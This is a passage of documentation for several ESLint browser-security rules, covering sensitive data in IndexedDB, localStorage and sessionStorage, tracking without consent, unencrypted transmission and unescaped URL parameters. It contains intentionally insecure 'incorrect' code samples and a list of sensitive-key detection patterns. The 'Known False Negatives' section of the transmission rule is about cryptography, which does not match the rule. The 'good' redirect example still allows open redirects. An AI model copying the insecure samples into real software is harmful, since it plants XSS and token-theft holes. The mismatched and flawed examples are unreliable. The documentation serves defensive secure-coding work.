----------------------------------------------------------------------------------------------------- | | **CWE** | [CWE-922: Insecure Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/922.html) | | **OWASP** | A02:2021 - Cryptographic Failures | | **CVSS** | 7.5 (High) | | **Severity** | HIGH | ## 📋 Description [#-description] IndexedDB is accessible via JavaScript and can be stolen through XSS attacks. Sensitive data like passwords, tokens, and API keys should not be stored in client-side databases. ## ❌ Incorrect [#-incorrect] ```javascript // Creating object store for sensitive data db.createObjectStore('passwords'); db.createObjectStore('secrets'); db.createObjectStore('apiKeys'); // Storing sensitive data store.add({ password: userPassword }); store.put({ apiKey: key }); ``` ## ✅ Correct [#-correct] ```javascript // Store non-sensitive data db.createObjectStore('preferences'); db.createObjectStore('cachedData'); // Store user preferences store.add({ theme: 'dark', language: 'en' }); ``` ## 🛠️ Options [#️-options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | ```json { "rules": { "browser-security/no-sensitive-indexeddb": [ "error", { "allowInTests": true } ] } } ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Store Names [#dynamic-store-names] **Why**: Computed names not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic name const name = 'passwords'; db.createObjectStore(name); ``` **Mitigation**: Use static store names. Avoid sensitive naming. ### Nested Sensitive Data [#nested-sensitive-data] **Why**: Deep object properties not traced. ```typescript // ❌ NOT DETECTED - Nested data store.put({ user: { password: pwd } }); ``` **Mitigation**: Never store sensitive data in IndexedDB. ### Library Wrappers [#library-wrappers] **Why**: IndexedDB wrappers not recognized. ```typescript // ❌ NOT DETECTED - Dexie wrapper db.secrets.add({ apiKey: key }); ``` **Mitigation**: Apply rule to wrapper implementations. ## 📚 Related Resources [#-related-resources] * [MDN: IndexedDB](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API) * [OWASP: HTML5 Security](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html) # no-sensitive-localstorage **CWE:** [CWE-359](https://cwe.mitre.org/data/definitions/359.html)\ **OWASP Mobile:** [M9: Insecure Data Storage](https://owasp.org/www-project-mobile-top-10/) Detects storage of sensitive data (tokens, passwords, PII) in localStorage. This rule is part of [`eslint-plugin-browser-security`](https://www.npmjs.com/package/eslint-plugin-browser-security). ⚠️ This rule ***errors*** by default in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | --------------------------------------------------- | | **CWE Reference** | CWE-922 (Insecure Storage of Sensitive Information) | | **Severity** | 🔴 High | | **Auto-Fix** | ❌ No (requires architecture change) | | **Category** | Security | | **Best For** | SPAs, frontend apps handling authentication | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** localStorage is accessible to any JavaScript running on the page. If an XSS vulnerability exists, attackers can steal tokens. **Risk:** * XSS attacks can steal all localStorage data * Tokens persist beyond session (unlike cookies) * No protection against malicious browser extensions * Shared across tabs (potential for leakage) ## Why localStorage is Dangerous for Tokens [#why-localstorage-is-dangerous-for-tokens] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569' } }}%% flowchart TD A["🔐 JWT Token Stored"] --> B{"Storage Location?"} B -->|localStorage| C["⚠️ Accessible via JS"] B -->|httpOnly Cookie| D["✅ Not accessible via JS"] C --> E["XSS Attack Occurs"] E --> F["🚨 Token Stolen!"] D --> G["XSS Attack Occurs"] G --> H["✅ Token Protected"] F --> I["Attacker has full access"] H --> J["Attack impact limited"] classDef dangerNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px classDef safeNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px classDef processNode fill:#eff6ff,stroke:#2563eb,stroke-width:2px class C,E,F,I dangerNode class D,H,J safeNode class A,B,G processNode ``` ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Storing tokens - VULNERABLE to XSS localStorage.setItem('token', jwtToken); localStorage.setItem('accessToken', response.accessToken); localStorage.setItem('refreshToken', response.refreshToken); // Storing sensitive user data - VULNERABLE localStorage.setItem( 'user', JSON.stringify({ email: 'user@example.com', ssn: '123-45-6789', password: 'secret', }), ); // Session storage has same issues sessionStorage.setItem('authToken', token); ``` ### ✅ Correct [#-correct] ```javascript // Use httpOnly cookies for tokens (set by server) // Server response: // Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict // Store only non-sensitive preferences localStorage.setItem('theme', 'dark'); localStorage.setItem('language', 'en'); // For tokens that must be in JS, use memory-only storage class TokenStore { #token = null; // Private field, not persisted setToken(token) { this.#token = token; } getToken() { return this.#token; } } // Or use a closure const tokenStore = (() => { let token = null; return { set: (t) => { token = t; }, get: () => token, }; })(); ``` ## Options [#options] | Option | Type | Default | Description | | --------------------- | ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `false` | Skip this rule in `*.test.*` / `*.spec.*` files | | `sensitivePatterns` | `string[]` | `["token","jwt","access_token","accessToken","refresh_token","refreshToken","id_token","idToken","auth","password","passwd","secret","api_key","apiKey","private_key","privateKey","session","sessionId","credential","bearer"]` | Key substrings considered sensitive | | `checkSessionStorage` | `boolean` | `true` | Also flag `sessionStorage` writes | ```json { "rules": { "browser-security/no-sensitive-localstorage": [ "error", { "sensitivePatterns": ["token", "password", "apiKey", "secret"] } ] } } ``` ## Best Practices [#best-practices] ### 1. Use httpOnly Cookies for Tokens [#1-use-httponly-cookies-for-tokens] ```javascript // Backend sets the cookie res.cookie('accessToken', token, { httpOnly: true, secure: true, sameSite: 'strict', maxAge: 3600000, }); // Frontend just makes requests (cookie sent automatically) fetch('/api/protected', { credentials: 'include', }); ``` ### 2. Use In-Memory Storage [#2-use-in-memory-storage] ```javascript // Token disappears on page refresh (good for security) let accessToken = null; function setToken(token) { accessToken = token; } function getToken() { return accessToken; } ``` ## Comparison: Storage Options [#comparison-storage-options] | Method | XSS Safe? | Persists? | Use For | | --------------- | --------- | --------- | --------------------- | | httpOnly Cookie | ✅ Yes | ✅ Yes | Auth tokens | | Memory variable | ✅ Yes | ❌ No | Temporary tokens | | sessionStorage | ❌ No | Tab only | Non-sensitive data | | localStorage | ❌ No | ✅ Yes | Only user preferences | ## Related Rules [#related-rules] * [`no-innerhtml`](./no-innerhtml.md) - Prevent XSS that could access localStorage * [`require-postmessage-origin-check`](./require-postmessage-origin-check.md) - Cross-origin security ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Key Names [#dynamic-key-names] **Why**: Computed key names are not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic key const key = 'accessToken'; localStorage.setItem(key, value); ``` **Mitigation**: Use consistent naming, or add the substring to `sensitivePatterns`. ### Nested Sensitive Data [#nested-sensitive-data] **Why**: Sensitive data inside objects may not be detected. ```typescript // ❌ NOT DETECTED - Nested sensitive data localStorage.setItem('user', JSON.stringify({ token: jwt })); ``` **Mitigation**: Never store objects containing tokens. ### Wrapper Functions [#wrapper-functions] **Why**: Custom storage wrappers are not recognized. ```typescript // ❌ NOT DETECTED - Wrapper function storageHelper.save('token', jwt); // Uses localStorage internally ``` **Mitigation**: Apply rule to wrapper implementations. ### IndexedDB [#indexeddb] **Why**: Different API not covered by this rule. ```typescript // ❌ NOT DETECTED - IndexedDB db.put({ token: jwt }); ``` **Mitigation**: Use no-sensitive-indexeddb rule. ## Resources [#resources] * [CWE-922: Insecure Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/922.html) * [OWASP: JWT Storage](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html#token-storage-on-client-side) * [Auth0: Token Storage](https://auth0.com/docs/secure/security-guidance/data-security/token-storage) # no-sensitive-sessionstorage > No Sensitive Sessionstorage ## ⚠️ Security Issue [#️-security-issue] | Property | Value | | ------------ | ----------------------------------------------------------------------------------------------------- | | **CWE** | [CWE-922: Insecure Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/922.html) | | **OWASP** | A02:2021 - Cryptographic Failures | | **CVSS** | 7.5 (High) | | **Severity** | HIGH | ## 📋 Description [#-description] sessionStorage is accessible via JavaScript and vulnerable to XSS attacks. While data is cleared when the tab closes, it can still be stolen during the session. ## ❌ Incorrect [#-incorrect] ```javascript // Storing sensitive data sessionStorage.setItem('password', pwd); sessionStorage.setItem('apiKey', key); sessionStorage.setItem('accessToken', token); // Bracket notation sessionStorage['authToken'] = token; ``` ## ✅ Correct [#-correct] ```javascript // Store non-sensitive data sessionStorage.setItem('theme', 'dark'); sessionStorage.setItem('searchQuery', query); // Use HttpOnly cookies for auth // Server-side: res.cookie('token', value, { httpOnly: true }); ``` ## 🛠️ Options [#️-options] | Option | Type | Default | Description | | -------------------- | ---------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | | `additionalPatterns` | `string[]` | — | Extra key-name patterns to treat as sensitive | ```json { "rules": { "browser-security/no-sensitive-sessionstorage": [ "error", { "allowInTests": true, "additionalPatterns": ["customSecret"] } ] } } ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Key Names [#dynamic-key-names] **Why**: Computed key names not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic key const key = 'accessToken'; sessionStorage.setItem(key, value); ``` **Mitigation**: Configure additional key patterns. ### Values from Variables [#values-from-variables] **Why**: Sensitive values in variables not traced. ```typescript // ❌ NOT DETECTED - Value from variable const data = jwt; sessionStorage.setItem('data', data); ``` **Mitigation**: Never store tokens in sessionStorage. ### Wrapper Functions [#wrapper-functions] **Why**: Storage wrappers not recognized. ```typescript // ❌ NOT DETECTED - Custom wrapper sessionManager.save('token', jwt); ``` **Mitigation**: Apply rule to wrapper implementations. ## 📚 Related Resources [#-related-resources] * [MDN: sessionStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage) * [OWASP: HTML5 Security](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html) # no-tracking-without-consent ## Quick Summary [#quick-summary] | Aspect | Details | | --------------- | --------------------------------------------- | | **Severity** | Medium (Privacy Violation) | | **Auto-Fix** | ❌ No (requires manual review) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Frontend applications handling user analytics | | **Suggestions** | ✅ Advice on implementing consent wrappers | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Privacy violation occurs when an application tracks user behavior or collects personal data without obtaining explicit consent. This is a direct violation of international privacy laws. **Risk:** Tracking users without permission can lead to massive legal fines (up to 4% of global turnover for GDPR), loss of user trust, and potential removal from app stores. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-359 OWASP:M6 | Tracking Without Consent detected | MEDIUM [GDPR,CCPA,ePrivacy] Fix: Wrap tracking calls in consent check: if (hasConsent) { analytics.track(...) } | https://cwe.mitre.org/data/definitions/359.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-359](https://cwe.mitre.org/data/definitions/359.html) [OWASP:M6](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `Tracking Without Consent detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM [GDPR,CCPA,ePrivacy]` | | **Fix Instruction** | Actionable remediation | `Wrap tracking calls in consent check` | | **Technical Truth** | Official reference | [Privacy Violation](https://cwe.mitre.org/data/definitions/359.html) | ## Rule Details [#rule-details] Privacy regulations worldwide require that users provide informed consent before their personal data or behavior is tracked. This rule flags calls to common tracking and analytics libraries that are not explicitly wrapped in a conditional block, which is the standard pattern for checking user consent status. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["Analytics Call"] --> B{"Inside If/Ternary?"} B -->|Yes| C["✅ Compliance Pattern"] B -->|No| D["🚨 Potential Privacy Violation"] D --> E["💡 Suggest Consent Wrap"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ----------------- | ------------------------ | -------------------------------------------- | | 🔒 **Compliance** | Massive regulatory fines | Use opt-in consent mechanisms (GDPR/CCPA) | | 🤝 **Trust** | Brand reputation damage | Be transparent about data collection | | ⚖️ **Legal** | Class action lawsuits | Implement strictly enforced tracking filters | ## Configuration [#configuration] This rule has no configuration options in the current version. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Direct tracking call without consent check analytics.track('Item Purchased', { price: 9.99 }); // Direct identification call analytics.identify('user_123', { email: 'user@example.com' }); // Global GA tracking call gtag('event', 'login'); ``` ### ✅ Correct [#-correct] ```javascript // Tracking call wrapped in a consent check if (userHasConsented) { analytics.track('Item Purchased', { price: 9.99 }); } // Using a ternary for conditional tracking userConsentGiven ? gtag('event', 'conversion') : console.log('Tracking skipped'); // Encapsulated tracking function (logic inside) function trackEvent(name, data) { if (getConsentStatus()) { analytics.track(name, data); } } ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Abstracted Consent Logic [#abstracted-consent-logic] **Why**: If the consent check is deep within a helper function or a custom library, this rule might flag the call if it's not directly inside a conditional block in the current scope. ```javascript // This will be flagged even if myTracker handles consent internally myTracker.track('test'); // ❌ NOT DETECTED (as safe) ``` **Mitigation**: Ensure that tracking calls are either wrapped in a local check or that the custom tracking functions are added to the list of "safe" patterns if the rule is extended. ### Non-Standard Libraries [#non-standard-libraries] **Why**: This rule specifically looks for `analytics` and `gtag`. Custom tracking implementations or lesser-known libraries will not be detected. **Mitigation**: Manually review all third-party scripts and internal tracking code to ensure they respect the user's consent choice. ## References [#references] * [CWE-359: Privacy Violation](https://cwe.mitre.org/data/definitions/359.html) * [GDPR Articles 6 & 7 (Consent)](https://gdpr-info.eu/art-6-gdpr/) * [Segment.js - Managing User Consent](https://segment.com/docs/privacy/consent-management/) * [Google Analytics - User Consent State](https://developers.google.com/analytics/devguides/collection/ga4/consent) # no-unencrypted-transmission **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects unencrypted data transmission (HTTP vs HTTPS, plain text protocols). This rule is part of [`eslint-plugin-browser-security`](https://www.npmjs.com/package/eslint-plugin-browser-security) and provides LLM-optimized error messages that AI assistants can automatically fix. 💼 This rule is set to **error** by default in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------------------------ | | **CWE Reference** | [CWE-319](https://cwe.mitre.org/data/definitions/319.html) (Cleartext Transmission of Sensitive Information) | | **Severity** | HIGH (security vulnerability) | | **Auto-Fix** | ✅ Yes (replaces HTTP with HTTPS, WS with WSS, etc.) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | All applications making network requests, APIs, database connections | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Transmission of sensitive data over unencrypted protocols (HTTP) allows unauthorized parties to intercept or modify the data in transit. **Risk:** Man-in-the-Middle (MitM) attacks can capture sensitive information like authentication tokens, passwords, or personal data. Attackers can also inject malicious content into the response. ## Detection Flow [#detection-flow] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569' } }}%% flowchart TD A["🔍 Analyze URL/String"] --> B{"Contains Protocol?"} B -->|No| C["✅ Valid: No protocol"] B -->|Yes| D{"Is Insecure Protocol?"} D -->|No| E["✅ Valid: HTTPS/WSS/etc."] D -->|Yes| F{"Protocol Type"} F --> G["HTTP"] F --> H["WS"] F --> I["MongoDB"] F --> J["Redis"] F --> K["MySQL"] G --> L["❌ Report: Use HTTPS"] H --> M["❌ Report: Use WSS"] I --> N["❌ Report: Use MongoDB+srv"] J --> O["❌ Report: Use Redis TLS"] K --> P["❌ Report: Use MySQL SSL"] style C fill:#d1fae5,stroke:#059669,stroke-width:2px style E fill:#d1fae5,stroke:#059669,stroke-width:2px style L fill:#fee2e2,stroke:#dc2626,stroke-width:2px style M fill:#fee2e2,stroke:#dc2626,stroke-width:2px style N fill:#fee2e2,stroke:#dc2626,stroke-width:2px style O fill:#fee2e2,stroke:#dc2626,stroke-width:2px style P fill:#fee2e2,stroke:#dc2626,stroke-width:2px ``` ## Why This Matters [#why-this-matters] | Issue | Impact | Solution | | -------------------- | --------------------------------- | --------------------------- | | 🔒 **Man-in-Middle** | Data intercepted in transit | Use HTTPS/TLS | | 🔐 **Data Breach** | Sensitive data exposed | Encrypt all transmissions | | 🍪 **Compliance** | Violates security standards | Enforce encrypted protocols | | 📊 **Best Practice** | All external connections need TLS | Use secure protocols | ## Detection Patterns [#detection-patterns] The rule detects: * **HTTP URLs**: `http://`, `http://api.example.com` * **WebSocket (WS)**: `ws://`, `ws://socket.example.com` * **MongoDB**: `mongodb://` (should use `mongodb+srv://`) * **Redis**: `redis://` (should use `rediss://` or TLS) * **MySQL**: `mysql://` (should use SSL) ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Unencrypted transmission fetch('http://api.example.com/data'); // ❌ HTTP instead of HTTPS const ws = new WebSocket('ws://socket.example.com'); // ❌ WS instead of WSS const mongoUrl = 'mongodb://localhost:27017/db'; // ❌ MongoDB without encryption const redisUrl = 'redis://localhost:6379'; // ❌ Redis without TLS const mysqlUrl = 'mysql://user:pass@localhost/db'; // ❌ MySQL without SSL ``` ### ✅ Correct [#-correct] ```typescript const url = "https://api.example.com"; ``` ## Configuration [#configuration] ### Default Configuration [#default-configuration] ```json { "secure-coding/no-unencrypted-transmission": "error" } ``` ### Options [#options] | Option | Type | Default | Description | | -------------------- | ---------- | ------- | ---------------------------------------------------------- | | `allowInTests` | `boolean` | `false` | Allow unencrypted transmission in test files | | `insecureProtocols` | `string[]` | `[]` | Insecure protocol patterns to detect | | `secureAlternatives` | `object` | `{}` | Mapping of insecure protocols to their secure alternatives | | `ignorePatterns` | `string[]` | `[]` | Additional safe patterns to ignore | ### Example Configuration [#example-configuration] ```json { "secure-coding/no-unencrypted-transmission": [ "error", { "allowInTests": true, "insecureProtocols": ["http", "ws", "mongodb"], "secureAlternatives": { "http": "https", "ws": "wss", "mongodb": "mongodb+srv" }, "ignorePatterns": ["localhost", "127.0.0.1"] } ] } ``` ## Auto-Fix Behavior [#auto-fix-behavior] The rule provides automatic fixes that: * ✅ Replace `http://` with `https://` * ✅ Replace `ws://` with `wss://` * ✅ Replace `mongodb://` with `mongodb+srv://` * ✅ Replace `redis://` with `rediss://` * ⚠️ Template literals require manual review (too risky for auto-fix) ### Auto-Fix Example [#auto-fix-example] ```typescript // Before (triggers rule) fetch('http://api.example.com/data'); // After (auto-fixed) fetch('https://api.example.com/data'); ``` ## Best Practices [#best-practices] 1. **Always use HTTPS**: For all external API calls 2. **Use WSS for WebSockets**: Encrypt WebSocket connections 3. **Database encryption**: Use TLS/SSL for database connections 4. **Environment variables**: Store URLs in environment variables 5. **Test exceptions**: Use `allowInTests: true` for localhost in tests ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Algorithm from Variable [#algorithm-from-variable] **Why**: Algorithm names from variables not traced. ```typescript // ❌ NOT DETECTED - Algorithm from variable const algo = config.hashAlgorithm; // May be weak crypto.createHash(algo); ``` **Mitigation**: Hardcode secure algorithms. ### Third-party Crypto Libraries [#third-party-crypto-libraries] **Why**: Non-standard crypto APIs not recognized. ```typescript // ❌ NOT DETECTED - Third-party customCrypto.encrypt(data, key); ``` **Mitigation**: Review all crypto implementations. ### Configuration-based Security [#configuration-based-security] **Why**: Config-driven security not analyzed. ```typescript // ❌ NOT DETECTED - Config-based const options = getSecurityOptions(); // May be weak ``` **Mitigation**: Validate security configurations. ## Related Rules [#related-rules] * [`no-exposed-sensitive-data`](./no-exposed-sensitive-data.md) - Detects sensitive data exposure * [`no-insecure-cookie-settings`](./no-insecure-cookie-settings.md) - Detects insecure cookies ## Resources [#resources] * [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html) * [OWASP: Transport Layer Protection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/) * [MDN: HTTPS](https://developer.mozilla.org/en-US/docs/Glossary/HTTPS) # no-unescaped-url-parameter **CWE:** [CWE-116](https://cwe.mitre.org/data/definitions/116.html)\ **OWASP Mobile:** [M4: Insufficient Input/Output Validation](https://owasp.org/www-project-mobile-top-10/) Detects unescaped URL parameters that can lead to Cross-Site Scripting (XSS) or open redirect vulnerabilities. This rule is part of [`eslint-plugin-browser-security`](https://www.npmjs.com/package/eslint-plugin-browser-security) and provides LLM-optimized error messages that AI assistants can automatically fix. ⚠️ This rule ***warns*** by default in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) (Cross-site Scripting) | | **Severity** | High (security vulnerability) | | **Auto-Fix** | ✅ Yes (suggests encodeURIComponent or URLSearchParams) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | All web applications constructing URLs, API clients, redirect handlers | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Constructing URLs by concatenating unescaped user input can allow attackers to inject special characters that alter the meaning of the URL. **Risk:** This leads to multiple vulnerabilities: * **Cross-Site Scripting (XSS):** If the URL is reflected in the page (e.g., `href`), attackers can inject `javascript:` URIs. * **Open Redirect:** Attackers can redirect users to malicious sites if the input controls the domain or path. * **Parameter Injection:** Attackers can inject additional query parameters to override settings. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-79 OWASP:A05 CVSS:6.1 | Cross-site Scripting (XSS) detected | MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) [OWASP:A05](https://owasp.org/Top10/A05_2021-Injection/) [CVSS:6.1](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Cross-site Scripting (XSS) detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A05_2021-Injection/) | ## Rule Details [#rule-details] Unescaped URL parameters can allow attackers to inject malicious code or manipulate URLs for phishing attacks. This rule detects URL construction patterns where user input is directly concatenated or interpolated without proper encoding. ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | --------------------- | -------------------------------------- | ---------------------------- | | 🔒 **Security** | XSS attacks via URL parameters | Use encodeURIComponent | | 🐛 **Open Redirect** | Phishing attacks via redirect URLs | Validate and encode URLs | | 🔐 **Data Integrity** | Malformed URLs can break functionality | URLSearchParams | | 📊 **Compliance** | Violates security best practices | Always encode URL parameters | ## Detection Patterns [#detection-patterns] The rule detects: * **Template literals**: URL construction with unescaped user input in template strings * **String concatenation**: URL construction using `+` operator with unescaped parameters * **User input patterns**: `req.query`, `req.params`, `userInput`, `searchParams` ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Unescaped in template literal const url = `https://example.com?q=${req.query.q}`; // ❌ XSS vulnerability // Unescaped in string concatenation const url = 'https://example.com?search=' + userInput; // ❌ XSS vulnerability // Unescaped route parameters const url = `https://example.com/user/${req.params.id}`; // ❌ Open redirect risk // Unescaped Next.js searchParams const url = `https://example.com?redirect=${searchParams.get('url')}`; // ❌ Open redirect ``` ### ✅ Correct [#-correct] ```typescript // Using encodeURIComponent const url = `https://example.com?q=${encodeURIComponent(req.query.q)}`; // ✅ Safe // Using URLSearchParams const params = new URLSearchParams({ q: req.query.q }); const url = `https://example.com?${params}`; // ✅ Safe // Encoding in string concatenation const url = 'https://example.com?search=' + encodeURIComponent(userInput); // ✅ Safe // Encoding route parameters const url = `https://example.com/user/${encodeURIComponent(req.params.id)}`; // ✅ Safe // Using URLSearchParams for multiple parameters const params = new URLSearchParams({ q: searchParams.get('q'), page: searchParams.get('page'), }); const url = `https://example.com?${params}`; // ✅ Safe ``` ## Configuration [#configuration] ```javascript { rules: { 'browser-security/no-unescaped-url-parameter': ['error', { allowInTests: false, // Allow in test files trustedLibraries: ['url', 'querystring'], // Trusted URL construction libraries ignorePatterns: [] // Additional safe patterns to ignore }] } } ``` ## Options [#options] | Option | Type | Default | Description | | ------------------ | ---------- | ----------------------- | -------------------------------------------- | | `allowInTests` | `boolean` | `false` | Allow unescaped URL parameters in test files | | `trustedLibraries` | `string[]` | `["url","querystring"]` | Trusted URL construction libraries | | `ignorePatterns` | `string[]` | `[]` | Additional safe patterns to ignore | ## Rule Logic Flow [#rule-logic-flow] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["🔍 TemplateLiteral/BinaryExpression Found"] --> B{"In Test File?"} B -->|Yes & allowInTests| C["✅ Skip"] B -->|No| D{"Matches Ignore Pattern?"} D -->|Yes| C D -->|No| E{"Is URL Construction?"} E -->|No| C E -->|Yes| F{"Check Expressions"} F --> G{"User Input Pattern?"} G -->|No| C G -->|Yes| H{"Inside Encoding Call?"} H -->|Yes| C H -->|No| I["🚨 Report Error"] I --> J["💡 Suggest Fixes"] J --> K["Use encodeURIComponent"] J --> L["Use URLSearchParams"] classDef startNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px,color:#1f2937 classDef errorNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px,color:#1f2937 classDef processNode fill:#eff6ff,stroke:#2563eb,stroke-width:2px,color:#1f2937 classDef skipNode fill:#f1f5f9,stroke:#64748b,stroke-width:2px,color:#1f2937 class A startNode class I errorNode class E,F,G,H processNode class C skipNode ``` ## Best Practices [#best-practices] ### 1. Use encodeURIComponent for Query Parameters [#1-use-encodeuricomponent-for-query-parameters] ```typescript // ✅ Good - Encodes special characters const query = 'hello world & more'; const url = `https://example.com?q=${encodeURIComponent(query)}`; // Result: https://example.com?q=hello%20world%20%26%20more ``` ### 2. Use URLSearchParams for Multiple Parameters [#2-use-urlsearchparams-for-multiple-parameters] ```typescript // ✅ Good - Handles multiple parameters automatically const params = new URLSearchParams({ q: 'search term', page: '1', sort: 'date', }); const url = `https://example.com?${params}`; // Result: https://example.com?q=search+term&page=1&sort=date ``` ### 3. Use encodeURI for Path Segments [#3-use-encodeuri-for-path-segments] ```typescript // ✅ Good - Encodes path segments (but preserves /) const path = 'user/profile'; const url = `https://example.com/${encodeURI(path)}`; // Result: https://example.com/user/profile ``` ### 4. Validate Before Encoding [#4-validate-before-encoding] ```typescript // ✅ Good - Validate then encode function buildRedirectUrl(input: string): string { // Validate URL format if (!input.startsWith('https://') && !input.startsWith('/')) { throw new Error('Invalid redirect URL'); } // Encode if it's a relative path if (input.startsWith('/')) { return encodeURIComponent(input); } return input; } ``` ### 5. Use URL Constructor for Complex URLs [#5-use-url-constructor-for-complex-urls] ```typescript // ✅ Good - URL constructor handles encoding automatically const url = new URL('https://example.com'); url.searchParams.set('q', userInput); url.searchParams.set('page', '1'); const finalUrl = url.toString(); // Automatically encoded ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Related Rules [#related-rules] * [`no-unvalidated-user-input`](./no-unvalidated-user-input.md) - Detects unvalidated user input * [`no-unsanitized-html`](./no-unsanitized-html.md) - Detects unsanitized HTML injection * [`no-sql-injection`](./no-sql-injection.md) - Detects SQL injection vulnerabilities * [`no-missing-cors-check`](./no-missing-cors-check.md) - Detects missing CORS validation ## Resources [#resources] * [CWE-79: Cross-site Scripting](https://cwe.mitre.org/data/definitions/79.html) * [OWASP URL Validation Cheat 